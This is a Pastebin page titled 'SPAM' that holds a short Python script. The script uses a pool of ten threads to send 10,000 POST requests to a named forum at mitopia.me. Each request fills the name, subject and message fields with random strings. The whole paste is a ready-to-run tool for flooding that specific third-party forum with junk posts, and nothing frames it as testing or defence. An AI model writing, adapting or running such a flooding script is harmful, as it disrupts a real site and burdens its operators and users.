Advertisement
afc11hn

SPAM

Jul 17th, 2017
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.60 KB | None | 0 0
  1. import requests
  2. import random
  3. import string
  4. from multiprocessing.dummy import Pool as ThreadPool
  5.  
  6. CHARS = string.digits + string.ascii_letters + string.punctuation
  7.  
  8.  
  9. def random_string(length=20):
  10.     try:
  11.         return ''.join(random.sample(CHARS, int(random.random() * length)))
  12.     except ValueError:
  13.         return random_string(length)
  14.  
  15.  
  16. def spam(x):
  17.     r = requests.post('http://mitopia.me/Forum/', {
  18.         'tfName': random_string(),
  19.         'tfBetreff': random_string(),
  20.         'message': random_string(100),
  21.         'send': 1
  22.     })
  23.     print(r)
  24.  
  25.  
  26. pool = ThreadPool(10)
  27. pool.map(spam, range(10000))
  28. pool.close()
  29. pool.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement